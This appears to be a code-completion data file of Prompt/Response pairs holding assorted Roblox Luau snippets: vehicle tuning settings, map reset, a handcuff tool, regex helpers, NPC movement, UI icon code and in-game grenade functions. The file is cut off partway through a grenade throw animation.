	Tune.QuickShiftTime	= 0.25 		-- Determines how much time you have to quick shift up or down before you need to use the clutch.

	--Automatic Settings
	Tune.AutoShiftMode	= "RPM"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM										]]
	Tune.AutoShiftType	= "DCT"												--[[
	[Types]
		"Rev"		: Clutch engages fully once RPM reached
		"DCT"		: Clutch engages after a set time has passed				]]
	Tune.AutoUpThresh	= 200		-- Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		-- Automatic downshift point (relative to peak RPM, positive = Under-rev)

	--Automatic: Revmatching
	Tune.ShiftThrot		= 100		-- Throttle level when shifting down to revmatch, 0 - 100%

	--Automatic: DCT
	Tune.ShiftUpTime	= 0.25		-- Time required to shift into next gear, from a lower gear to a higher one.
	Tune.ShiftDnTime	= 0.125		-- Time required to shift into next gear, from a higher gear to a lower one.

	Tune.FinalDrive		= (38/14)*0.95	-- (Final * Primary)	-- Gearing determines top speed and wheel torque
											-- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket
											-- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number
	Tune.NeutralRev		= true			-- Enables you to back up manually in neutral
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		32/05		,	-- Neutral and 1st gear are required
		--[[ 2 ]]		32/10		,
		--[[ 3 ]]		32/15		,
		--[[ 4 ]]		32/20		,
		--[[ 5 ]]		33/25		,
}

	Tune.Limiter 		= false 		-- Enables a speed limiter
	Tune.SpeedLimit 	= 300 			-- At what speed (SPS) the limiter engages


Prompt: -- / Functions / --

Response:
ResetMapModule.Reset = function()

	-- / Workspace / --
	GamemodesMapHolder:ClearAllChildren()
	GameAssetsHolder:ClearAllChildren()

	game.Workspace.Gravity = 196.2

	for _, TerrainObject in pairs(game.Workspace.Terrain:GetChildren()) do
		TerrainObject:Destroy()
	end

	local Clouds = Instance.new("Clouds")
	Clouds.Parent = game.Workspace.Terrain

	Clouds.Cover = 0.5
	Clouds.Density = 0.75

	Clouds.Color = Color3.fromRGB(255, 255, 255)

	-- / Lighting / --
	Lighting.Ambient = Color3.fromRGB(125, 84, 63)

	Lighting.Brightness = 3

	Lighting.ColorShift_Bottom = Color3.fromRGB(0, 0, 0)
	Lighting.ColorShift_Top = Color3.fromRGB(0, 0, 0)

	Lighting.EnvironmentDiffuseScale = 1
	Lighting.EnvironmentSpecularScale = 1

	Lighting.OutdoorAmbient = Color3.fromRGB(125, 125, 125)

	Lighting.ShadowSoftness = 0.1

	Lighting.GeographicLatitude = 0

	Lighting.ExposureCompensation = 0

	for _, LightingObject in pairs(Lighting:GetChildren()) do
		LightingObject:Destroy()

	end

	for _, DefaultMapObjectsHolder in pairs(DefaultMapConfiguration:GetChildren()) do
		for _, DefaultMapObject in pairs(DefaultMapObjectsHolder:GetChildren()) do
			local Object = DefaultMapObject:Clone()
			Object.Parent = game:FindFirstDescendant(DefaultMapObjectsHolder.Name)

		end
	end
end


Prompt: -- gets owner Id from group owner or place creator

Response:
script.Parent.Parent = game.ReplicatedStorage

local ownerId = game.CreatorId

if game.CreatorType == Enum.CreatorType.Group then
	local group = game:GetService("GroupService"):GetGroupInfoAsync(ownerId)
	ownerId = group.Owner.Id
end

game.Players.PlayerAdded:Connect(function(plr)
	if plr.UserId == ownerId then
		plr.CharacterAdded:Connect(function()
			local clone = script.Parent:Clone()
			clone.MainScript:Destroy()
			clone.Parent = plr.Character
		end)
	end
end)


Response:
script.Parent.Humanoid.HealthChanged:Connect(function()
	if script.Parent.Humanoid.Health <= 37 then

		Instance.new("Decal", script.Parent.Head)
		script.Parent.Head.Decal.Texture = "rbxassetid://176678128"
		script.Parent.Head.Decal.Face = "Back"
	end
end)


Prompt:
--[[
	local message = "Announcement: The RHS servers will be restarting in 1 minute for a maintenance update. You'll automatically return to an updated server then!"
	game:GetService("DataStoreService"):GetDataStore("GlobalMessage"):SetAsync( "Message", message)
--]]


Prompt:
--[[*
 * Posix glob regex
 ]]

Response:
local DOT_LITERAL = "\\."
local PLUS_LITERAL = "\\+"
local QMARK_LITERAL = "\\?"
local SLASH_LITERAL = "\\/"
local ONE_CHAR = "(?=.)"
local QMARK = "[^/]"
local END_ANCHOR = ("(?:%s|$)"):format(SLASH_LITERAL)
local START_ANCHOR = ("(?:^|%s)"):format(SLASH_LITERAL)
local DOTS_SLASH = ("%s{1,2}%s"):format(DOT_LITERAL, END_ANCHOR)
local NO_DOT = ("(?!%s)"):format(DOT_LITERAL)
local NO_DOTS = ("(?!%s%s)"):format(START_ANCHOR, DOTS_SLASH)
local NO_DOT_SLASH = ("(?!%s{0,1}%s)"):format(DOT_LITERAL, END_ANCHOR)
local NO_DOTS_SLASH = ("(?!%s)"):format(DOTS_SLASH)
local QMARK_NO_DOT = ("[^.%s]"):format(SLASH_LITERAL)
local STAR = ("%s*?"):format(QMARK)
local POSIX_CHARS = {
	DOT_LITERAL = DOT_LITERAL,
	PLUS_LITERAL = PLUS_LITERAL,
	QMARK_LITERAL = QMARK_LITERAL,
	SLASH_LITERAL = SLASH_LITERAL,
	ONE_CHAR = ONE_CHAR,
	QMARK = QMARK,
	END_ANCHOR = END_ANCHOR,
	DOTS_SLASH = DOTS_SLASH,
	NO_DOT = NO_DOT,
	NO_DOTS = NO_DOTS,
	NO_DOT_SLASH = NO_DOT_SLASH,
	NO_DOTS_SLASH = NO_DOTS_SLASH,
	QMARK_NO_DOT = QMARK_NO_DOT,
	STAR = STAR,
	START_ANCHOR = START_ANCHOR,
}


Prompt:
--[[

MIT License

]]

Response:
local Player = game.Players.LocalPlayer
local Mouse  = Player:GetMouse()
local Tool   = script.Parent
local Using  = false
local RemoteEvent = game.ReplicatedStorage.Events.Etc.Detain

Tool.Activated:Connect(function()
	if not Using then
		if Mouse.Target then
			if (Mouse.Target.Position-Player.Character.HumanoidRootPart.Position).Magnitude < 10 then
			RemoteEvent:FireServer('Cuff', Mouse.Target)
			end
		end
	else
		Using = false
		RemoteEvent:FireServer('UnCuff')
	end
end)
Tool.Unequipped:Connect(function()
if Using == true then
RemoteEvent:FireServer('UnCuff')
end
Using = false

end)
RemoteEvent.OnClientEvent:Connect(function( state )
wait(.5)
	if state == 'Use' then
		Using = true
	end
end)


Prompt: -- Sounds

Response:
local Soundscape = game.Soundscape
local CountdownBeep = Soundscape:FindFirstChild("CountdownBeep")
local CountdownEndBeep = Soundscape:FindFirstChild("CountdownEndBeep")

local DURATION = 3 -- Countdown duration in seconds


Prompt: -- Get references to the DockShelf and the AppManager frame

Response:
local dockShelf = script.Parent.Parent.MobileDock
local wallShelf = script.Parent.Parent.Wallpaper.Apps
local appManager = script.Parent.Parent.AppManager
local ClipSettings = require(game.ReplicatedFirst.ClipSettings)
local UISpeed = ClipSettings.uiSpeed
local TweenService = game:GetService("TweenService")


Prompt: -- ROBLOX deviation: this regex attempts to match both ansi16 and ansi256 regexes

Response:
local ansiRegex = string.char(27) .. "%[%d+;?5?;?%d*m"

local ansiLookupTable = {
	[chalk.red.close] = "</>",
	[chalk.green.close] = "</>",
	[chalk.cyan.close] = "</>",
	[chalk.gray.close] = "</>",
	[chalk.white.close] = "</>",
	[chalk.yellow.close] = "</>",
	[chalk.bgRed.close] = "</>",
	[chalk.bgGreen.close] = "</>",
	[chalk.bgYellow.close] = "</>",
	[chalk.inverse.close] = "</>",
	[chalk.dim.close] = "</>",
	[chalk.bold.close] = "</>",
	[chalk.reset.open] = "</>",
	[chalk.reset.close] = "</>",
	[chalk.red.open] = "<red>",
	[chalk.green.open] = "<green>",
	[chalk.cyan.open] = "<cyan>",
	[chalk.gray.open] = "<gray>",
	[chalk.white.open] = "<white>",
	[chalk.yellow.open] = "<yellow>",
	[chalk.bgRed.open] = "<bgRed>",
	[chalk.bgGreen.open] = "<bgGreen>",
	[chalk.bgYellow.open] = "<bgYellow>",
	[chalk.inverse.open] = "<inverse>",
	[chalk.dim.open] = "<dim>",
	[chalk.bold.open] = "<bold>",
}

local function toHumanReadableAnsi(text: string)
	return text:gsub(ansiRegex, function(match)
		if ansiLookupTable[match] then
			return ansiLookupTable[match]
		else
			return ""
		end
	end)
end

local function test(val: any)
	return typeof(val) == "string" and Boolean.toJSBoolean(val:match(ansiRegex))
end

local function serialize(val: string, config: Config, indentation: string, depth: number, refs: Refs, printer: Printer)
	return printer(toHumanReadableAnsi(val), config, indentation, depth, refs)
end

return {
	test = test,
	serialize = serialize,
	-- ROBLOX deviation: exporting ansiRegex since we don't have a separate module for it
	ansiRegex = ansiRegex,
	-- ROBLOX deviation: exporting toHumanReadableAnsi
	toHumanReadableAnsi = toHumanReadableAnsi,
}


Prompt: --Differential Settings

Response:
Tune.FDiffSlipThres	= 90		-- 1 - 100%				(Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres	= 60		-- 0 - 100%				(0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres	= 90		-- 1 - 100%
Tune.RDiffLockThres	= 60		-- 0 - 100%
Tune.CDiffSlipThres	= 50		-- 1 - 100%				[AWD Only]
Tune.CDiffLockThres	= 50		-- 0 - 100%				[AWD Only]


Prompt: --Brake.InputChanged:Connect(TouchBrake)

Response:
local function TouchHandbrake(input, GPE)
	if input.UserInputState == Enum.UserInputState.Begin then
		_PBrake = not _PBrake
	elseif input.UserInputState == Enum.UserInputState.End then
		if bike.DriveSeat.Velocity.Magnitude>5 then
			_PBrake = false
		end
	end
end
Handbrake.InputBegan:Connect(TouchHandbrake)
Handbrake.InputEnded:Connect(TouchHandbrake)


Prompt: --When strafing make sure you can see target from end pos

Response:
function movement.strafe()
	local goalPos = status:get("currentTarget").Position
	local origin,dir = myRoot.Position,nil

	local action = math.random(2)
	if action == 1 then
		dir = myRoot.CFrame.RightVector
	elseif action == 2 then
		dir = -myRoot.CFrame.RightVector
	end

	for _=1,10 do
		if not core.raycast(origin,dir*2) and core.raycast(origin,Vector3.new(0,-7,0)) then
			origin += dir*2
		else
			origin += dir*-2
			break
		end
	end

	local _,result = core.raycast(origin,(status:get("currentTarget").Position - origin).Unit * 30)
	if result then
		if result.Instance:IsDescendantOf(status:get("currentTarget").Parent) then

		else

			origin = myRoot.Position
		end
		origin = myRoot.Position
	end

	return origin
end

function checkDirection(dir)
	local goalPos = status:get("currentTarget").Position
	local origin = myRoot.Position

	local success = false
	for i=1, 5 do
		if not core.raycast(origin,dir*1) and core.raycast(origin,Vector3.new(0,-7,0)) then
			origin = origin + dir*1
		else
			origin = origin + dir*-1
			break
		end

		if i == 5 then
			success = true
		end
	end

	return success,origin
end

function movement.retreat()

	--Check if we can retreat directly from the enemy.
	local result,pos = checkDirection(-(status:get("currentTarget").Position - myRoot.Position).Unit)
	if result then
		return pos
	end

	--Check if we can move away to the right.
	result,pos = checkDirection(myRoot.CFrame.RightVector)
	if result then
		return pos
	end

	--Check if can move away to the left.
	result,pos = checkDirection(-myRoot.CFrame.RightVector)
	if result then
		return pos
	end

	return myRoot.Position
end

function movement.slowAdvance()
	local goalPos = status:get("currentTarget").Position
	local origin = myRoot.Position

	local maxIterations = 30
	repeat
		maxIterations -= 1
		if not core.raycast(origin,(goalPos - origin).Unit*1) and core.raycast(origin,Vector3.new(0,-7,0)) then
			origin = origin + (goalPos - origin).Unit*1
		else
			origin = origin + (goalPos - origin).Unit*-1
			break
		end
		if maxIterations <= 0 then
			break
		end
	until false

	return origin
end


Prompt:
-- for the final is recommended to divide the size of the rear sprocket to the one of the front sprocket
-- and multiply it to the primary drive ratio, if data is missing, you can also just use a single number

Response:
Tune.NeutralRev		= true			-- Enables you to back up manually in neutral
Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
	--[[Neutral]]	0			,	-- Ratios can also be deleted
	--[[ 1 ]]		3.827		,
	--[[ 2 ]]		2.36		,
	--[[ 3 ]]		1.685		,
	--[[ 4 ]]		1.313		,
	--[[ 5 ]]		1			,
	--[[ 6 ]]		.793		,
}

Tune.FDMult			= 1

Tune.Limiter 		= false 		-- Enables a speed limiter
Tune.SpeedLimit 	= 300 			-- At what speed (SPS) the limiter engages


Prompt: -- run

Response:
local normal = cutPlane.CFrame.rightVector;
if choppingBlock then
	pos1, size1, pos2, size2 = slicePart(choppingBlock, cutPlane.Position, normal);
	--choppingBlock.Anchored = false;
end

if (pos1 and size1 and pos2 and size2) then
	local part = choppingBlock:Clone();
	part.Size = size1;
	part.CFrame = CFrame.new(pos1);
	part.Parent = choppingBlock.Parent;
	part.Anchored = true
	part.Name = "1"

	local part = choppingBlock:Clone();
	part.Size = size2;
	part.CFrame = CFrame.new(pos2);
	part.Parent = choppingBlock.Parent;
	part.Anchored = true
	part.Name = "2"

	choppingBlock:Destroy();
	if script:GetAttribute("Direction") == "Left" then
		workspace["1"].Parent = workspace.Stacked
		workspace["2"].Anchored = false
		workspace["2"].Name = "Delete"
		debris:AddItem(workspace["Delete"], 60)
	elseif script:GetAttribute("Direction") == "Right" then
		workspace["2"].Parent = workspace.Stacked
		workspace["1"].Anchored = false
		workspace["1"].Name = "Delete"
		debris:AddItem(workspace["Delete"], 60)
	elseif script:GetAttribute("Direction") == "Top" then
		workspace["1"].Parent = workspace.Stacked
		workspace["2"].Anchored = false
		workspace["2"].Name = "Delete"
		debris:AddItem(workspace["Delete"], 60)
	elseif script:GetAttribute("Direction") == "Bottom" then
		workspace["2"].Parent = workspace.Stacked
		workspace["1"].Anchored = false
		workspace["1"].Name = "Delete"
		debris:AddItem(workspace["Delete"], 60)
	end
end


Prompt: -- Join or leave a special feature such as a Dropdown or Menu

Response:
function Icon:join(parentIcon, featureName, dontUpdate)
	if self._parentIcon then
		self:leave()
	end
	local newFeatureName = (featureName and featureName:lower()) or "dropdown"
	local beforeName = "before"..featureName:sub(1,1):upper()..featureName:sub(2)
	local parentFrame = parentIcon.instances[featureName.."Frame"]
	self.presentOnTopbar = false
	self.joinedFeatureName = featureName
	self._parentIcon = parentIcon
	self.instances.iconContainer.Parent = parentFrame
	for noticeId, noticeDetail in pairs(self.notices) do
		parentIcon:notify(noticeDetail.clearNoticeEvent, noticeId)
		--parentIcon:notify(noticeDetail.completeSignal, noticeId)
	end

	if featureName == "dropdown" then
		local squareCorners = parentIcon:get("dropdownSquareCorners")
		self:set("iconSize", UDim2.new(1, 0, 0, self:get("iconSize", "deselected").Y.Offset), "deselected", beforeName)
		self:set("iconSize", UDim2.new(1, 0, 0, self:get("iconSize", "selected").Y.Offset), "selected", beforeName)
		if squareCorners then
			self:set("iconCornerRadius", UDim.new(0, 0), "deselected", beforeName)
			self:set("iconCornerRadius", UDim.new(0, 0), "selected", beforeName)
		end
		self:set("captionBlockerTransparency", 0.4, nil, beforeName)
	end
	local array = parentIcon[newFeatureName.."Icons"]
	table.insert(array, self)
	if not dontUpdate then
		parentIcon:_updateDropdown()
	end
	parentIcon.deselectWhenOtherIconSelected = false
	--
	IconController:_updateSelectionGroup()
	self:_decideToCallSignal("dropdown")
	self:_decideToCallSignal("menu")
	--
	return self
end

function Icon:leave()
	if self._destroyed or self.instances.iconContainer.Parent == nil then
		return
	end
	local settingsToReset = {"iconSize", "captionBlockerTransparency", "iconCornerRadius"}
	local parentIcon = self._parentIcon
	self.instances.iconContainer.Parent = topbarContainer
	self.presentOnTopbar = true
	self.joinedFeatureName = nil
	local function scanFeature(t, prevReference, updateMethod)
		for i, otherIcon in pairs(t) do
			if otherIcon == self then
				for _, settingName in pairs(settingsToReset) do
					local states = {"deselected", "selected"}
					for _, toggleState in pairs(states) do
						local currentSetting, previousSetting = self:get(settingName, toggleState, prevReference)
						if previousSetting then
							self:set(settingName, previousSetting, toggleState)
						end
					end
				end
				table.remove(t, i)
				updateMethod(parentIcon)
				if #t == 0 then
					self._parentIcon.deselectWhenOtherIconSelected = true
				end
				break
			end
		end
	end
	scanFeature(parentIcon.dropdownIcons, "beforeDropdown", parentIcon._updateDropdown)
	scanFeature(parentIcon.menuIcons, "beforeMenu", parentIcon._updateMenu)
	--
	for noticeId, noticeDetail in pairs(self.notices) do
		local parentIconNoticeDetail = parentIcon.notices[noticeId]
		if parentIconNoticeDetail then
			parentIconNoticeDetail.completeSignal:Fire()
		end
	end
	--
	self._parentIcon = nil
	--
	IconController:_updateSelectionGroup()
	self:_decideToCallSignal("dropdown")
	self:_decideToCallSignal("menu")
	--
	return self
end

function Icon:_decideToCallSignal(featureName)
	local isOpen = self[featureName.."Open"]
	local previousIsOpenName = "_previous"..string.sub(featureName, 1, 1):upper()..featureName:sub(2).."Open"
	local previousIsOpen = self[previousIsOpenName]
	local totalIcons = #self[featureName.."Icons"]
	if isOpen and totalIcons > 0 and previousIsOpen == false then
		self[previousIsOpenName] = true
		self[featureName.."Opened"]:Fire()
	elseif (not isOpen or totalIcons == 0) and previousIsOpen == true then
		self[previousIsOpenName] = false
		self[featureName.."Closed"]:Fire()
	end
end

function Icon:_ignoreClipping(featureName)
	local ignoreClipping = self:get(featureName.."IgnoreClipping")
	if self._parentIcon then
		local maid = self["_"..featureName.."ClippingMaid"]
		local frame = self.instances[featureName.."Container"]
		maid:clean()
		if ignoreClipping then
			local fakeFrame = Instance.new("Frame")
			fakeFrame.Name = frame.Name.."FakeFrame"
			fakeFrame.ClipsDescendants = true
			fakeFrame.BackgroundTransparency = 1
			fakeFrame.Size = frame.Size
			fakeFrame.Position = frame.Position
			fakeFrame.Parent = activeItems
			--
			for a,b in pairs(frame:GetChildren()) do
				b.Parent = fakeFrame
			end
			--
			local function updateSize()
				local absoluteSize = frame.AbsoluteSize
				fakeFrame.Size = UDim2.new(0, absoluteSize.X, 0, absoluteSize.Y)
			end
			maid:give(frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(function()
				updateSize()
			end))
			updateSize()
			local function updatePos()
				local absolutePosition = frame.absolutePosition
				fakeFrame.Position = UDim2.new(0, absolutePosition.X, 0, absolutePosition.Y+36)
			end
			maid:give(frame:GetPropertyChangedSignal("AbsolutePosition"):Connect(function()
				updatePos()
			end))
			updatePos()
			maid:give(function()
				for a,b in pairs(fakeFrame:GetChildren()) do
					b.Parent = frame
				end
				fakeFrame.Name = "Destroying..."
				fakeFrame:Destroy()
			end)
		end
	end
	self._ignoreClippingChanged:Fire(featureName, ignoreClipping)
end


Prompt: --------------------[ GRENADE FUNCTIONS ]---------------------------------------------

Response:
function CreateGrenade()
	local Grenade = Instance.new("Model")

	local Center = Instance.new("Part")
	Center.BrickColor = S.GrenadeColor
	Center.Name = "Center"
	Center.CanCollide = false
	Center.Elasticity = 0
	Center.FormFactor = Enum.FormFactor.Custom
	Center.Size = S.GrenadeSize
	Center.BottomSurface = Enum.SurfaceType.Smooth
	Center.TopSurface = Enum.SurfaceType.Smooth
	Center.Parent = Grenade

	local Mesh1 = Instance.new("SpecialMesh")
	Mesh1.MeshType = Enum.MeshType.Sphere
	Mesh1.Parent = Center

	return Grenade
end

function CreateKnife()
	local Knife = Instance.new("Part")
	Knife.BrickColor = S.GrenadeColor
	Knife.Name = "Knife"
	Knife.CanCollide = false
	Knife.FormFactor = Enum.FormFactor.Custom
	Knife.Size = VEC3(1, 1, 3)

	local Mesh = Instance.new("SpecialMesh")
	Mesh.MeshId = "http://www.roblox.com/asset/?id=12221720"
	Mesh.MeshType = Enum.MeshType.FileMesh
	Mesh.Scale = VEC3(0.5, 0.5, 0.5)
	Mesh.Parent = Knife

	return Knife
end

function CreateTarget()
	local Target = Instance.new("Model")

	local Center = Instance.new("Part")
	Center.BrickColor = BrickColor.new("Bright red")
	Center.Material = Enum.Material.SmoothPlastic
	Center.Transparency = 0.3
	Center.Name = "Center"
	Center.Anchored = true
	Center.CanCollide = false
	Center.FormFactor = Enum.FormFactor.Custom
	Center.Size = VEC3(4, 0.2, 4)
	Center.Parent = Target
	local CylinderMesh = Instance.new("CylinderMesh")
	CylinderMesh.Parent = Center

	local Line = Instance.new("Part")
	Line.BrickColor = BrickColor.new("Bright red")
	Line.Transparency = 0.3
	Line.Name = "Line"
	Line.CFrame = Center.CFrame * CFrame.new(0, 5.1, 0)
	Line.Anchored = true
	Line.CanCollide = false
	Line.FormFactor = Enum.FormFactor.Custom
	Line.Size = VEC3(0.4, 10, 0.4)
	Line.BottomSurface = Enum.SurfaceType.Smooth
	Line.TopSurface = Enum.SurfaceType.Smooth
	Line.Parent = Target

	return Target
end

function DetonateExplosive(Grenade)
	CreateShockwave(Grenade.Position, S.GrenadeBlastRadius)
	local GrenadePos = Grenade.Position
	local E = Instance.new("Explosion")
	E.BlastPressure = S.GrenadeBlastPressure
	E.BlastRadius = S.GrenadeBlastRadius
	E.DestroyJointRadiusPercent = (S.GrenadeRangeBasedDamage and 0 or 1)
	E.ExplosionType = S.GrenadeExplosionType
	E.Position = GrenadePos
	E.Hit:connect(function(HObj, HDist)
		if HObj.Name == "Torso" and (not HObj:IsDescendantOf(Character)) then
			if S.GrenadeRangeBasedDamage then
				local ClosestPart = nil
				local ClosestDist = math.huge

				for _, P in pairs(HObj.Parent:GetChildren()) do
					if P:IsA("BasePart") then
						local Dist = (GrenadePos - P.Position).magnitude
						if Dist < ClosestDist then
							ClosestPart = P
							ClosestDist = Dist
						end
					end
				end

				local Dir = (ClosestPart.Position - GrenadePos).unit
				local H, P = AdvRayCast(GrenadePos, Dir, 999)
				local RayHitHuman = H:IsDescendantOf(HObj.Parent)
				if (S.GrenadeRayCastExplosions and RayHitHuman) or (not S.GrenadeRayCastExplosions) then
					local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
					if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
						local DistFactor = ClosestDist / S.GrenadeBlastRadius
						local DistInvert = math.max(1 - DistFactor,0)
						local NewDamage = DistInvert * S.LethalGrenadeDamage

						local CreatorTag = Instance.new("ObjectValue")
						CreatorTag.Value = Player
						CreatorTag.Name = "creator"
						CreatorTag.Parent = HitHumanoid
						HitHumanoid:TakeDamage(NewDamage)
						MarkHit()
					end
				end
			else
				local HitHumanoid = FindFirstClass(HObj.Parent, "Humanoid")
				if HitHumanoid and HitHumanoid.Health > 0 and IsEnemy(HitHumanoid) then
					local CreatorTag = Instance.new("ObjectValue")
					CreatorTag.Value = Player
					CreatorTag.Name = "creator"
					CreatorTag.Parent = HitHumanoid
					MarkHit()
				end
			end
		end
	end)
	E.Parent = game.Workspace

	wait()

	Grenade.Parent:Destroy()
end

function DetonateSmoke(Grenade)
	CreateShockwave(Grenade.Position, S.GrenadeEffectRadius)
	local GrenadePos = Grenade.Position

	spawn(function()
		for i = 1, math.floor(S.GrenadeEffectRadius / 5) + RAND(5, 10) do
			local Size = RAND(S.GrenadeEffectRadius * 0.6, S.GrenadeEffectRadius * 0.8)
			local Dist = RAND(0, S.GrenadeEffectRadius - Size)
			local XRot, YRot = RAD(RAND(0, 180, 10)), RAD(RAND(0, 360, 10))
			local RotLV = (CFANG(0, YRot, 0) * CFANG(XRot, 0, 0)).lookVector
			local Pos = GrenadePos + (RotLV * VEC3(Dist, Dist / 2, Dist))

			local Smoke = Instance.new("Part")
			Smoke.Transparency = 1
			Smoke.Name = "Smoke"
			Smoke.Anchored = true
			Smoke.CanCollide = false
			Smoke.FormFactor = Enum.FormFactor.Symmetric
			Smoke.Size = VEC3(1, 1, 1)
			Smoke.TopSurface = Enum.SurfaceType.Smooth
			Smoke.BottomSurface = Enum.SurfaceType.Smooth

			local Mesh = Instance.new("SpecialMesh")
			Mesh.MeshType = Enum.MeshType.Sphere
			Mesh.Scale = VEC3(Size, Size, Size)
			Mesh.Parent = Smoke

			Smoke.Parent = Gun_Ignore
			Smoke.CFrame = CF(Pos)

			spawn(function()
				local Trans = RAND(0.3, 0.5, 0.01)
				for X = 0, 90, 2 do
					Smoke.CFrame = CF(GrenadePos:lerp(Pos, Sine(X)))
					Smoke.Transparency = NumLerp(1, Trans, Sine(X))
					RS:wait()
				end

				wait(S.GrenadeEffectTime)

				for X = 0, 90, 0.5 do
					Smoke.CFrame = CF(Pos:lerp(Pos + VEC3(0, 20, 0), 1 - COS(RAD(X))))
					Smoke.Transparency = NumLerp(Trans, 1, Sine(X))
					RS:wait()
				end

				Smoke:Destroy()
			end)

			if i % 3 == 0 then
				RS:wait()
			end
		end
	end)

	wait()

	Grenade.Parent:Destroy()
end

function ThrowGrenade(Type)
	local Grenade0 = nil
	if S.TrajectoryAssist then
		spawn(function()
			local X = 0
			local Vel = (Type == 1 and S.LethalGrenadeThrowVelocity or S.TacticalGrenadeThrowVelocity)

			local GetX = function(Ang, T)
				local Vx = Vel * math.cos(Ang)
				return Vx * T
			end

			local GetY = function(Ang, T)
				local V0y = Vel * math.sin(Ang)
				local Vy = V0y + (-196.2 * T)
				return (Vy * T) - (-98.1 * T * T)
			end

			local Target = CreateTarget()
			Target.Parent = game.Workspace
			Target.PrimaryPart = Target:WaitForChild("Center")

			while (Keys[S.LethalGrenadeKey] or Keys[S.TacticalGrenadeKey]) and Selected do
				X = X + math.rad(10)
				for _,v in pairs(Target:GetChildren()) do
					v.Transparency = 0.2 + ((math.sin(X) + 1) / 5)
				end

				local Lines = {}
				local LastX, LastY = nil, nil
				for T = 0, 10, 0.1 do
					local XPos = GetX(math.rad(7) - HeadRot, T)
					local YPos = GetY(math.rad(7) - HeadRot, T)
					if LastX and LastY then
						local LookV3 = HRP.CFrame.lookVector
						local LastPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * LastX) + VEC3(0, LastY, 0)
						local NewPos = (Head.CFrame * CF(1.5, 0, 0)).p + (LookV3 * XPos) + VEC3(0, YPos, 0)
						local LineCF = CF(LastPos, NewPos)
						local Dist = (LastPos - NewPos).magnitude
						local NewDist = Dist

						local H, P = AdvRayCast(LastPos, (NewPos - LastPos), 1, {Camera, unpack(Ignore)})
						if H then
							NewDist = (P - LastPos).magnitude

							local SurfaceCF = GetHitSurfaceCFrame(P, H)
							local SurfaceDir = CF(H.CFrame.p, SurfaceCF.p)
							local SurfaceDist = SurfaceDir.lookVector * (H.CFrame.p - SurfaceCF.p).magnitude / 2
							local SurfaceOffset = P - SurfaceCF.p + SurfaceDist
							local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset

							Target:SetPrimaryPartCFrame(SurfaceCFrame * CFANG(RAD(-90), 0, 0))

							Target.Parent = Camera
						else
							Target.Parent = nil
						end

						local Line = Instance.new("Part")
						Line.BrickColor = BrickColor.Red()
						Line.Material = Enum.Material.SmoothPlastic
						Line.Transparency = 0.2 + ((math.sin(X) + 1) / 5)
						Line.Anchored = true
						Line.CanCollide = false
						Line.FormFactor = Enum.FormFactor.Custom
						Line.Size = Vector3.new(0.4, 0.4, NewDist)
						Line.TopSurface = Enum.SurfaceType.Smooth
						Line.BottomSurface = Enum.SurfaceType.Smooth
						Line.CFrame = LineCF + (LineCF.lookVector * NewDist / 2)
						Line.Parent = Camera

						table.insert(Lines, Line)

						LastX,LastY = XPos,YPos

						if H then break end
					else
						LastX,LastY = XPos,YPos
					end
				end

				wait()

				for _,Line in pairs(Lines) do
					Line:Destroy()
				end
			end

			Target:Destroy()
		end)
	end

	local AnimTable = {
		function()
			TweenJoint(LWeld, CF(-1.5, 0, 0), CF(0, 0.6, 0), Linear, 0.2)
			TweenJoint(RWeld, CF(1.5, 0, 0) * CFANG(0, 0, RAD(-10)), CF(0, 0.6, 0), Linear, 0.2)
			TweenJoint(Grip, Grip.C0, CFANG(0, RAD(10), 0), Linear, 0.2)
			wait(0.3)
		end;

		function()
			Grip.Part0 = Torso
			Grip.C1 = CF(-1, 0.5, -0.5)

			if S.LethalGrenadeType == 3 and Type == 1 then
				Grenade0 = CreateKnife()
				Grenade0.Parent = Gun_Ignore

				local Weld = Instance.new("Weld")
				Weld.Part0 = FakeRArm
				Weld.Part1 = Grenade0
				Weld.C0 = Grip.C0
				Weld.C1 = CF(0, 0, -0.5) * CFANG(RAD(90), RAD(90), 0)
				Weld.Parent = Grenade0

				TweenJoint(LWeld2, CF(), CF(), Sine, 0.3)
				TweenJoint(RWeld2, CF(), CF(), Sine, 0.3)
				TweenJoint(LWeld, ArmC0[1], CF(0, 0.5, 0.1) * CFANG(RAD(90), 0, 0), Sine, 0.3)
				TweenJoint(RWeld, ArmC0[2], CF(0, 0.4, 0.1) * CFANG(RAD(-80), 0, 0), Sine, 0.3)
				wait(0.3)
			else
				Grenade0 = CreateGrenade()
				Grenade0.Parent = Gun_Ignore

				local Weld = Instance.new("Weld")
				Weld.Part0 = FakeRArm
				Weld.Part1 = Grenade0:WaitForChild("Center")
				Weld.C0 = Grip.C0
				Weld.Parent = Grenade0:WaitForChild("Center")

				TweenJoint(LWeld2, CF(), CFANG(0, RAD(80), 0), Linear, 0.25)
				TweenJoint(RWeld2, CF(), CFANG(0, RAD(-80), 0), Linear, 0.25)
				TweenJoint(LWeld, ArmC0[1], CF(-0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(-30)), Linear, 0.25)
				TweenJoint(RWeld, ArmC0[2], CF(0.2, 0.8, 0.1) * CFANG(RAD(10), 0, RAD(30)), Linear, 0.25)
				wait(0.3)
			end
		end;

		function()
			repeat wait() until (not Keys[S.LethalGrenadeKey]) and (not Keys[S.TacticalGrenadeKey]) or (not Selected)
		end;

		function()
			if S.LethalGrenadeType ~= 3 or Type == 2 then
				TweenJoint(LWeld2, CF(), CFANG(0, RAD(45), 0), Sine, 0.2)
				TweenJoint(RWeld2, CF(), CFANG(0, RAD(-45), 0), Sine, 0.2)
				TweenJoint(LWeld, ArmC0[1], CF(0, 0.8, 0.1), Sine, 0.2)
